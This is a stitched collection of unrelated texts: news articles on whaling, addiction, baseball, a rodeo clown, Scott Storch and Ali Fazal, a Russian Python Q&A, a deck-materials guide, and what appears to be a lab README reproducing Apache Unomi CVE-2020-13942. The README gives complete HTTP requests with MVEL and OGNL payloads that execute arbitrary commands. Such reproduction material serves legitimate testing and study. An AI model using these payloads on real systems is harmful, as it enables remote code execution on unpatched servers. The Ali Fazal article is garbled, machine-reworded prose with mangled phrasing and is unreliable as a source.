his film roles in 'The Nativity', 'Sorted' and 'Son of Rambow'. In 2012 Dudgeon starred as 'Norman Birkett' on BBC Radio 4's Afternoon Play series written by Caroline and David Stafford.
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Japan has proposed an end to a decades-old ban on commercial whaling, arguing there is no longer a scientific reason for what was supposed to be a temporary measure. But the proposal faces stiff opposition from countries that argue that many whale populations are still vulnerable or that the killing of whales is unacceptable. Japan currently kills whales under a provision that allows hunting for research purposes. "Science is clear: there are certain species of whales whose population is healthy enough to be harvested sustainably," reads the Japanese proposal, presented on Monday at the biannual International Whaling Commission meeting in Brazil. "Japan proposes to establish a committee dedicated to sustainable whaling (including commercial whaling and aboriginal subsistence whaling)." Japan's proposal would also change how the international body operates, reflecting its frustration with an organisation that it says has become "intolerant" and a "mere forum for confrontation." While Japan argues that whale stocks have recovered sufficiently to allow for commercial hunting, conservationists contend whaling on the high seas has proven difficult to manage. "Time and again, species after species has been driven to near extinction," said Patrick Ramage, director of marine conservation at the International Fund for Animal Welfare. Japan has hunted whales for centuries as a cheaper alternative source of protein to meat. The research program remains controversial, however, and some contend it is a cover for commercial whaling because the whale meat is sold for food. Australia has been one of Japan's biggest critics on the issue. "The Australian people have clearly made a decision that they don't believe that whaling is something that we should be undertaking in the 21st century," said Anne Ruston, Australia's assistant minister for international development and the Pacific. "The argument that we put forward from Australia is that we don't want to see any whales killed, whether they're killed because (of) commercial whaling or whether it's so-called scientific whaling." Australian Associated Press
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Japan has called for an end to the international ban on whaling.
Japan has proposed an end to a decades-old ban on commercial whaling, arguing there is no longer a scientific reason for what was supposed to be a temporary measure.
But the proposal faces stiff opposition from countries that argue that many whale populations are still vulnerable or that the killing of whales is unacceptable.
Japan currently kills whales under a provision that allows hunting for research purposes.
"Science is clear: there are certain species of whales whose population is healthy enough to be harvested sustainably," reads the Japanese proposal, presented on Monday at the biannual International Whaling Commission meeting in Brazil.
"Japan proposes to establish a committee dedicated to sustainable whaling (including commercial whaling and aboriginal subsistence whaling)."
Japan's proposal would also change how the international body operates, reflecting its frustration with an organisation that it says has become "intolerant" and a "mere forum for confrontation."
While Japan argues that whale stocks have recovered sufficiently to allow for commercial hunting, conservationists contend whaling on the high seas has proven difficult to manage.
"Time and again, species after species has been driven to near extinction," said Patrick Ramage, director of marine conservation at the International Fund for Animal Welfare.
Japan has hunted whales for centuries as a cheaper alternative source of protein to meat.
The research program remains controversial, however, and some contend it is a cover for commercial whaling because the whale meat is sold for food.
Australia has been one of Japan's biggest critics on the issue.
"The Australian people have clearly made a decision that they don't believe that whaling is something that we should be undertaking in the 21st century," said Anne Ruston, Australia's assistant minister for international development and the Pacific.
"The argument that we put forward from Australia is that we don't want to see any whales killed, whether they're killed because (of) commercial whaling or whether it's so-called scientific whaling."


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Coping with addiction during the holiday season
Elizabeth Hosang, Petoskey News-Review
Addiction doesn't always involve a substance.
It can also take the form of overspending on holiday shopping, excessive scrolling through social media or consistently visiting the pantry for comfort food.
"I do think that there are people that have addictive-type personalities," said Patrick McGinn, chief executive officer at Harbor Hall recovery center in Petoskey.
"People that have addictive personalities, it might come out again in a variety of different ways," he added.
"Those that have substance use problems might go from one chemical to the next chemical. But how I look at it is that people don't even need to be addicted to a chemical. They can have no half-measures — all the way or no way. It's just all out, whatever it is they're doing," McGinn said.
This type of personality can influence all avenues of your life. You may work late hours, exercise religiously or feel the need to go to the store despite the pantry being full. However, in cases of substance use disorders, a common indication of a problem is preoccupation.
"For me, it was always thinking about it — preoccupation with thinking about the next time. A lot of times, you're not in the moment with your family or with other things. It just consumes a lot of your time and your mental faculties," said Tory Werth, recovery supports coordinator at NMSAS Recovery Center.
In this holiday season in particular, stressors and triggers can come in forms of loneliness, lack of resources, schedule changes or loss of control over traditions.
"This year, particularly with the pandemic going on, (there are) a lot of people not working and struggling to make ends meet," McGinn said.
"That's something that we have recognized since the beginning, the relapse rates in addictive people tend to be higher. Then when you put in the holidays along with it and unemployment and all these stressors that kind of build up, build up and build up — if you don't have good coping mechanisms for that, what do you do?"
Despite many in-person recovery meetings canceled for the time being, there are plenty of online communities available to help for all type of addictive behaviors. One local resource, www.youpickrecovery.org, assists in every step of the recovery process. Organizers can direct individuals to recovery coach services, virtual meetings, an advocacy team and provide a link to more resources.
Northern Michigan Substance Abuse Services is another regional resource available for all types of recovery. The organization helps individuals seeking recover with peer groups, outpatient services, assisted treatment and more.
If you think someone you know may be struggling with addiction, Werth said there are a few signs to look for including: extreme mood swings, feelings of shame or guilt, withdrawing or isolating.
"You have people in your corner that you give permission to tell you when you're messing up, that you rely on," Werth said.
In addition, McGinn reminds individuals that taking care of yourself is not selfish.
"If you have toxic people in your life, this is the time of year you might want to steer away from them. If you can't avoid steering away from them, limit the amount of contacts you might have with that person," McGinn said.
"You have to know, you got to take care of yourself. If you're not taking care of yourself either, where are you going to be able to, where are you going to be able to take care of?" McGinn said.


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CHICAGO (AP) - Reliever Alex Colome was acquired by the Chicago White Sox from the payroll-shedding Seattle Mariners on Friday for catcher Omar Narvaez.
The White Sox also declined to offer contracts to outfielder Avisail Garcia and Matt Davidson, allowing the pair to become free agents. And they agreed to a $1.55 million, one-year deal with outfielder Leury Garcia.
Colome has 96 saves in six seasons with Tampa Bay and Seattle, earned $5.3 million this year and is eligible for salary arbitration. The 29-year-old right-hander was an All-Star in 2016 and became the first Rays pitcher to lead the league in saves in 2017 with 47. He was dealt to the Mariners last May.
Colome was 7-5 with a 3.04 ERA and 12 saves in 17 chances last season, including 5-0 with a 2.53 ERA in 47 appearances for Seattle. He is eligible for free agency after the 2020 season.
Narvaez, 26, hit .275 with nine homers and 30 RBIs last season, his third with the White Sox.
Avisail Garcia - an All-Star in 2017 - was limited to 93 games last season because of discomfort in his right knee that led to surgery in October. He went from batting.330 to .236.
Davidson hit .228 with 20 homers and 62 RBIs last season while being used primarily as a designated hitter and at first base. Leury Garcia batted .271 with four home runs and 32 RBIs in 82 games.
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Pro-barrelman Kyle Bode is all about clowning when he steps into the rodeo arena. But outside of the rodeo he is a husband, father of three boys and dairy farmer that knows the value of a hard day's work.
By Austin Johnson - Malheur Enterprise
July 22, 2021 at 3:00pm
Kyle Bode banters back and forth with rodeo announcer Scott Allen while behind the chutes at the Vale 4th of July Rodeo on Saturday, July 3. (AUSTIN JOHNSON/The Enterprise)
The sun is sinking, turning the sky on the evening of the Fourth of July into a vibrant canvas of purples, reds and yellows.
The lights at the Vale 4th of July Rodeo arena flash on. Men begin loading the rodeo bulls into the chutes as the riders prepare behind the scenes. The bulls, some weighing nearly a ton, sporadically buck against heavy metal gates, causing them to rattle and clang.
Waiting for them in the middle of the rodeo is pro barrelman Kyle Bode, 28.
Not many people would be willing to paint their faces, dress like a clown and take on a 1,500-pound bull.
For Bode, the passion for rodeo clowning goes back two decades. He has been dressing like a rodeo clown since he was 8.
Kyle Bode dressed up liked pro-rodeo clown Flint Rasmussen at the age of eight. (Photo courtesy of Kyle Bode)
His idol then was Flint Rasmussen, the most famous rodeo clown/barrelman that has ever graced the pro-rodeo stage.
"I wanted to be like Flint Rasmussen. Everybody wanted to be him when they were little," Bode said.
Bode's father started taking him to the rodeo when he was just 3.
"My dad tells a story that he almost lost me at the Sedro-Woolley 4th of July Rodeo one year because I'd be running around trying to look at all the cowboys and all the bull riders and all the bulls and everything," Bode said.
After high school, Bode attended Walla Walla Community College where he "kind of made up his own degree." While at Walla Walla he got his commercial driver's license, studied irrigation and animal science and learned about electrical work and welding.
"I kind of just said, Okay, I'm probably going to dairy farm and rodeo, so I thought of what I am going to use on the dairy farm," Bode said.
The Bode family owns a dairy in Quincy, Washington, which Bode's father has been working for 35 years. Bode took up the family business with his father seven years ago.
But it was also at Walla Walla where Bode started fighting bulls, which is much different than Spanish bull fighting. Fighting a bull at a rodeo is a fight of wits and fast foot work, where the bull fighters' job is to distract the bull and lead them away from the riders. They don't physically fight the bulls.
Bode joined the Walla Walla rodeo team at 19 and started fighting bulls, which he continued doing for nearly seven years. Bode then made the switch to clowning, finding himself with a headset mic inside a heavily padded barrel. Excluding 2020, Bode usually works about 15 to 20 rodeos a year.
"I heard an old clown said we're kind of the glue, as far as holding events together," Bode said. One of the jobs of a rodeo clown is to keep the crowd engaged and entertained when the rodeo slows down between riders.
At the Vale 4th of July Rodeo, Bode and the rodeo announcer Scott Allen bantered back and forth throughout the rodeo in style similar to the comedic dynamic between a late-night talk show host and their right-hand funny man.
But Bode's first and most important job as a rodeo clown is keeping people safe. Bode and his barrel serve as an "island of safety" inside the arena where bull riders and even rodeo judges can find refuge from a charging bull.
Becoming a professional barrelman isn't as simple as putting on some clown make-up and jumping in barrel either.
To work as a barrelman in the Professional Rodeo Cowboys Association, a person must get a letter of recommendation from a rodeo announcer, a bull rider and another rodeo clown and work five non-PRCA rodeos to qualify to be evaluated.
Kyle Bode prepares to throw his hat as a distraction as a steer approaches his barrel at the Vale 4th of July Rodeo on Thursday, July 1. (AUSTIN JOHNSON/The Enterprise)
"First thing that really stood out to me about Kyle's character was his work ethic," said seasoned rodeo announcer Al Parsons, who has worked with Bode several times over the past decade. "Everybody knows when you're in the dairy business there is no time off, so you have to have that work ethic first because it brings you up to another level of, we have to get this done."
Parsons also said Bode's "morals are extremely strong" and that he is family oriented, qualities that stood out to Parsons.
For Bode, his wife Hannah and their three boys, "90% of their livelihood" comes from working the family dairy. But that other 10% comes from clowning at the rodeo.
"Clowning is just flat out fun and easy to involve the family," Bode said.
Hannah Bode and her three sons watch Kyle clowning at the Vale 4th of July Rodeo on Sunday, July 4. (AUSTIN JOHNSON/The Enterprise)
Kyle Bode waits for the next rider at the Vale 4th of July Rodeo on Sunday, July 4. (AUSTIN JOHNSON/The Enterprise)
Kyle Bode enjoys some rain while in the rodeo arena during a hot evening at the Vale 4th of July Rodeo on Thursday, July 1. (AUSTIN JOHNSON/The Enterprise)
Kyle Bode wheels his barrel into position at the Vale 4th of July Rodeo on Sunday, July 4. (AUSTIN JOHNSON/The Enterprise)
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Q: В чем ошибка? Не могу понять Выводит не то, что я хотел бы:
import random
import math
import sys #sys.exit()
input("Нажмите \"Enter\", чтобы продолжить: ")
name = input("Как Вас зовут?: ")
def opportunities(): #cписок опций
    print ("\nПривет " + name  + "!\n"
    "Что будем делать.?"
    "\n1.Учиться."
    "\n2.Решать."
    "\n3.Калькулятор."
    "\n4.Кость."
    "\n5.Крестики нолики (Beta)."
    "\n6.Перевод систем единиц/счислений."
    "\n7.Угадайка."
    "\n8.FAQ.\n"
    "\nВЫХОД - exit")
opportunities()

def Mode(list): #выбор опций
    print("Что выбрали,",name + "?")
    if list == "exit":
        sys.exit()
Mode(list)

if Mode(list) == "1" or Mode(list) == "Учиться" or Mode(list) == "учиться":
        print("чему хотите обучится?"
        "\n1.Матиматике."
        "\n2.Русскому языку."
        "\n3.Физике."
        "\n4.Программированию"
        "\nНАЗАД - back")
        study = str(input(": "))
else:
    print("\nПростите, но я Вас не понял D;"
    "\n Выберите снова\n")
    Mode(list)

Так выглядет вывод.

A: Вам необходимо возвращать значение в самой функции через return, а так же присвоить переменной результат выполнения функции. В данном случае hey
import math
import sys #sys.exit()
input("Нажмите \"Enter\", чтобы продолжить: ")
name = input("Как Вас зовут?: ")
def opportunities(): #cписок опций
    print ("\nПривет " + name + "!\n"
    "Что будем делать.?"
    "\n1.Учиться."
    "\n2.Решать."
    "\n3.Калькулятор."
    "\n4.Кость."
    "\n5.Крестики нолики (Beta)."
    "\n6.Перевод систем единиц/счислений."
    "\n7.Угадайка."
    "\n8.FAQ.\n"
    "\nВЫХОД - exit")
opportunities()

def Mode(list): #выбор опций
    print("Что выбрали,",name + "?")
    list = input()
    if list == "exit":
        sys.exit()
    return list
hey = Mode(list)

if hey == "1" or hey == "Учиться" or hey == "учиться":
        print("чему хотите обучится?"
        "\n1.Матиматике."
        "\n2.Русскому языку."
        "\n3.Физике."
        "\n4.Программированию"
        "\nНАЗАД - back")
        study = str(input(": "))
else:
    print("\nПростите, но я Вас не понял D;"
    "\n Выберите снова\n")
    Mode(list)

A: Как вариант:
#import math
import sys   #sys.exit()

list_to_do = [
    "Учиться",
    "Решать",
    "Калькулятор",
    "Кость",
    "Крестики нолики (Beta)",
    "Перевод систем единиц/счислений",
    "Угадайка",
    "FAQ",
    "exit",
]
list_lesson = [
    "Матиматика",
    "Русский язык",
    "Физика",
    "Программирование",
    "back",
]

input("Нажмите 'Enter', чтобы продолжить: ")
name = input("Как Вас зовут?: ")

def opportunities(list_to_do):                         #cписок опций
    print (f"\nПривет {name} !\n"
           f"Сделайту свой выбор.\n")
    print(*list_to_do, sep='\n')
    while True:
        delo = input("\nЧто будем делать?: ")
        if delo in list_to_do:
            return delo
        else:
            print(f"\nТакого нет в списке дел, повторите свой выбор !\n")

def lessons(delo, list_lesson):
    study = ''
    if delo.lower() == "учиться":
        print("Учиться можно многому:\n")
        print(*list_lesson, sep='\n')
        while True:
            study = input("\nчему хотите научиться?: ")
            if study in list_lesson:
                return study
            else:
                print(f"\nТакого предмета нет в списке, повторите свой выбор !\n")
    else:
        print(f"{delo} тaк {delo}, это ваш выбор.")
    return study

delo = opportunities(list_to_do)

if delo == "exit":
    print(f"\nВы ничего не собираетесь делать, это печально.")
    sys.exit()
else:
    study = lessons(delo, list_lesson)
    if  study:
        print(f"\nУчить {study}, это правильный выбор.")

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Pressure-treated lumber – A wooden deck still finds itself #1 for deck materials today. A whopping 75 percent of all decks are finished with the light-colored wood with the green tinge to it, a/k/a pressure-treated lumber or wolmanized wood. It is milled from Southern yellow pine, them chemically treated to resist rot, fungus and wood-boring bugs. It is the cheapest of all materials, readily available and easy to work with. For all its good qualities, however, this wood is soft and has a propensity to crack, split and warp over time, necessitating an annual power washing and application of a stain or clear preservative at least once a year.
Redwood and cedar – If you like the rustic look of lumber and can afford it, the step up from pressure-treated yellow pine is redwood or cedar, which may cost three times as much as the former. These softwoods are prized for their rich color and natural beauty. Another plus is that these tree species contain their own special tannins and oils that make them naturally resistant to rot, decay and wood-boring insects, thus eliminating the need for powerful chemicals used to wolmanize the wood. Unfortunately, not all of the redwood and cedar trees will thwart decay and bugs – it is only the heartwood or center of the tree which is considered hardwood; the outer part of the tree, closest to the bark, is softer and susceptible to decay. The maintenance for these woods includes an annual power washing, but the preservative need only be applied every three or four years. You must apply the stain, or risk the wood weathering to a silvery gray color.
Tropical Hardwoods – If you want superb durability and rot-resistant wood that is also impermeable to insects, you might want to consider using tropical hardwoods for your decking materials. These hardwoods come with some exotic names as Massaranduba, cumaru, red tauari, tigerwood, ipe, and Philippine mahogany. They are very expensive because the forests in which they grow is difficult to traverse and get in machines to cut down and carry the wood away. These woods are darker in color and do not take well to a stain, so you must be diligent about power washing and applying a clear UV-blocking preservative coat to maintain the integrity of this wood's durability and color or it will weather to a silvery gray.
Composite wood – This medium stems from a fast-growing industry and is a plus for people who don't wish to be encumbered with lumber treating on an annual basis. There are now many companies which make composite lumber which is composed of 95% recyclable materials and the 5% balance is wood fiber. They come in a wide range of colors and because they are not composed of natural materials, they're not susceptible to wood rot, decay or insects. You can walk barefoot and not be concerned about splinters, though the surface can get slippery when wet. The price is comparable to lumber in the low to mid-range price, a fact some people like, as they don't spend the extra money to maintain/preserve the wood. The only downside is that the decks should periodically be checked for mildew which can grow in shady or damp areas and eventually become the source of wood decay in that wood fiber which makes up the composite medium.
Aluminum – A relative newcomer to the deck material world, this is an attractive idea for decks since it won't splinter, rot, decay or crack like lumber, it won't be subject to mildew like composite wood and its powder-coated finish will never need maintenance. You already know that aluminum won't rust, but if you are concerned that it will be hot to the touch – no worries there either. An aluminum fence can never catch fire, great if you love to barbeque on the deck. It is three or four times lighter than wood, but two to three times stronger. If you like green ideas, aluminum is even recyclable. It is, however, the most-expensive option of all the deck mediums.
Platform Deck – A platform deck is the simplest deck style, built low to the ground and barely a step above the ground. It is a good DIY project as it is easy to construct. Often a platform deck may be used in conjunction with wooden bench seating and built-in planters to give a more closed-in look.
Raised Deck – A raised deck is, by far, the most-popular deck and can be a simple raised deck from the ground, or even a multi-level deck for a two-story home. This is a more complex project since the raised deck must include railings and stairs for access to the backyard. Typically, a raised deck is accessible from a door wall of a kitchen or dining room area. Beneath the deck surface on the ground will be foundation posts and to conceal the empty area and thwart animals from hiding there, landscaping or skirting is placed there. Skirting is the use of decorative lattice panels that fit between the deck and the ground. In multi-level raised decks, extra structural posts and bracing will be needed to support the uppermost levels of the structure. The use of stairways and walkways help one to gain access to each deck level.
Freestanding decks – As the name suggests, a freestanding deck is not attached to your home, but will be constructed in the same manner as a platform deck, often in conjunction with a gazebo area and is typically used for larger backyards and becomes a beautiful asset to the landscaping.
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Make better use of the "Quarterly Data" tab. I use it regularly, but it is difficult to spot trends in the data without charting it. Being able to download it into Excel would suit my personal needs. Being able to select the data you want to chart and then click a button and have the chart appear would be great. The ultimate would be to be able to do both.


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# Apache Unomi Remote Express Language Code Execution (CVE-2020-13942)

[中文版本(Chinese version)](README.zh-cn.md)

Apache Unomi is a Java Open Source customer data platform, a Java server designed to manage customers, leads and visitors' data and help personalize customers experiences.

In the versions prior to 1.5.1, Apache Unomi allowed remote attackers to send malicious requests with MVEL and OGNL expressions that could contain arbitrary classes, resulting in Remote Code Execution (RCE) with the privileges of the Unomi application.

## Environment Setup

Execute following commands to start an Apache Unomi server 1.5.1:

```
docker-compose up -d
```

After the environment is started, you can access Unomi's API through `http://your-ip:8181` or `https://your-ip:9443`.

## Vulnerability Reproduce

The vulnerability can be triggered through both ports 8181 and 9443.

Execute arbitrary commands through MVEL expressions:

```
POST /context.json HTTP/1.1
Host: localhost:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 483

{
    "filters": [
        {
            "id": "sample",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/mvel\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "sample"
}
```

Execute arbitrary commands through OGNL expressions:

```
POST /context.json HTTP/1.1
Host: localhost:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 1064

{
  "personalizations":[
    {
      "id":"gender-test",
      "strategy":"matching-first",
      "strategyOptions":{
        "fallback":"var2"
      },
      "contents":[
        {
          "filters":[
            {
              "condition":{
                "parameterValues":{
                  "propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"touch /tmp/ognl\"))",
                  "comparisonOperator":"equals",
                  "propertyValue":"male"
                },
                "type":"profilePropertyCondition"
              }
            }
          ]
        }
      ]
    }
  ],
  "sessionId":"sample"
}
```

Enter the Docker container, you can see that the command has been executed successfully:

![](1.png)

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by EOrtiz
The 2007 version of Scott Storch was a force to be reckoned with. Not only was his catalog of production credits diversifying between Hip Hop, R&B, and Pop, but he also continually cranked out radio hits and Billboard chart-toppers. At the height of his career, he was valued at $70 million and was featured in Forbes magazine, a feat seldom seen in the slumping music industry today.
In 2008, he isn't looking so great.
The 34-year old Miami resident is seeing the effects of poor financial decision making which has subsequently put him into debt. Rumors of his financial woes began earlier this year, as TMZ reported Storch had listed his $20 million dollar yacht on eBay for the shockingly low cost of $600,000. Since then, it's been reported that Storch has also evaded real estate taxes that amount to $500,000. Then there's the case of his missed child-support payments.
After his 2004 rise in success, Storch reconciled with his former girlfriend Vanessa Bellido, who 12 years earlier birthed his son Steven. Wanting to do the right thing, he brought them to Southern Florida, which Bellido described as "one of the happiest times in our lives." Three years after that, he began paying child-support for his second son of a different mother in Jalen Daniel.
While this shift in Storch's life was occurring for the better, his entertainment ventures took a turn for the worse. Including a failed signing in reality TV star Brooke Hogan, a feud with former collaborator Timbaland, and a struggle to keep his producing top-notch, it is assumed Storch couldn't handle the limelight, which simultaneously put a strain on his relationships with both mothers and children. At the start of this year, he has been MIA in delivering payments for both children, putting him another $46,000 in the hole.
Infamous, co-producer of Lil Wayne's record "Mr. Carter" [click to listen] and budding beat-maker himself, sees Storch's situation as one that abruptly catches music artists off-guard because of its financial insecurity. "There's no 401k plan in the music industry. You can't be stupid and just throw your money away."
Even in the wake of a falling star like Storch though, Infamous feels Scott Storch has a chance to light up the music scene in the near future. "Scott is definitely talented enough to say all right, it's time for a new Scott. His track record alone speaks volumes."
The phrase "money can't buy happiness" never sounded any truer.


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Ali Fazal calls 2020 a year of long turbulence but good checks
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Actor Ali Fazal says throwing himself into work stored him sane within the year passed by that noticed the "Mirzapur" star triumph on the skilled entrance but take care of a private tragedy in his mom's loss of life. Recapping the bittersweet nature of the year that was laborious on humanity as a result of coronavirus pandemic, Fazal mentioned 2020 felt like a "never-ending turbulence in a flight." "I do not know how one can look again at this year. It started so superbly but midway by means of, I misplaced my mom. The solely factor that stored me sane was to have the ability to leap again into work. We have all misplaced somebody we now have identified or met this year.
"But there is also this feeling that we are in this together even though we have been through maximum hate, misinformation, hate crimes and social media banter," the actor instructed PTI in an interview.
Fazal, 34, mentioned it's pure for everybody to need this year to be over. Reflecting upon the divisive nature of social media, he mentioned, "We have to be more responsible in 2021."
"I feel people have just become narratives and narratives are run on TV or on mobile phones. We have to sit back and decide on our own what is right or wrong because anyone can convince you otherwise. So, it has also been a year of good checks."
There is an elevated duty on artistes to make that additional effort by selecting to inform tales fearlessly even when one is "stopped and suppressed", Fazal added.
"This year has been of total turmoil for us but I know for a fact that there are people who are working hard, creating stories and there will be people who will tell these stories. We will not stop. I may be also working in Hollywood but ultimately this is my home and hopefully, I will be a part in telling those stories."
Bollywood stars usually avoid expressing opinion on contentious sociopolitical matters but Fazal, fiancee Richa Chadha, Taapsee Pannu, Swara Bhasker, and Mohd Zeeshan Ayyub are among the many growing breed of actors who're vocal on necessary points.
"It's important to express your opinion," mentioned Fazal, who believes actors are wrongly perceived as people who find themselves not educated sufficient to voice their opinions.
Just as a result of one doesn't want a specific diploma to turn into an actor in contrast to different professions within the nation, it doesn't imply one just isn't educated, he mentioned.
"It is a myopic idea of education. Actually, education is the most important thing in acting," Fazal mentioned, including that he went by means of numerous historical past books to flesh out his position within the British interval drama "Victoria and Abdul".
The actor mentioned he has been studying up on Iraq War for his subsequent Hollywood venture whereas additionally coaching on how one can turn into a soldier and interpreter.
"Nobody thinks about this. If by mistake, actors are educated, people say how dare you speak. This perspective needs a change. We also come from middle class families and our fathers and forefathers worked hard to give us a good education, so it is not for nothing."
The success of "Mirzapur" season two was a silver lining within the year for Fazal who attributes the crime drama's success to Indian society's love for underdog tales.
"Our society loves underdog stories because we are into hero worship. But we need to connect with that story. We love it when someone rises to the top from below," he mentioned.
The two brothers, performed by Fazal and Vikrant Massey, within the first season of the Amazon Prime Video's present have a comparable arc. On his half, Fazal mentioned he tried to deliver a sure vulnerability to the character of the set off glad Guddu Pandit.
"All the fellows on this nation had been caught within the 'alpha' for the longest time. They had been instructed to not cry, be the person in the home. I wished to the touch upon that vulnerability and innocence that's nonetheless alive in males.
"Actually, men in our country have not grown up. Sometimes it is a problem, sometimes it can be endearing. They are loveless children. Guddu Pandit is like that but he has a lot of love."
In the second season, Fazal mentioned, his character is pressured to desert his laziness, develop up and use his mind.
"He has to run a business and all those superficial things but also understand what is life and death really. It is not some game."
His Hollywood film "Death on the Nile", which was scheduled for a 2020 launch, has been pushed to September 2021.
Fazal is hopeful that will probably be secure by then to look at the movie, which is Kenneth Branagh's follow-up to 2017's "Murder on the Orient Express", in cinemas.
"We have shot it on film so I want people to see it on the big screen otherwise it will not be fun. I don't know how good or bad the film is because it is up to the audience. What I can guarantee is that we are looking beautiful."
Apart from Fazal, the film additionally options Hollywood stars Gal Gadot, Armie Hammer, Letitia Wright, Emma Mackey, Rose Leslie and Annette Bening and others.
Working in each Bollywood and Hollywood comes with sure challenges but Fazal is trying ahead to a busy 2021 with "Fukrey 3", an untitled Netflix venture, three different films and a massive announcement later within the year.
"It has been quite interesting since October. I have been busy shooting," he mentioned.
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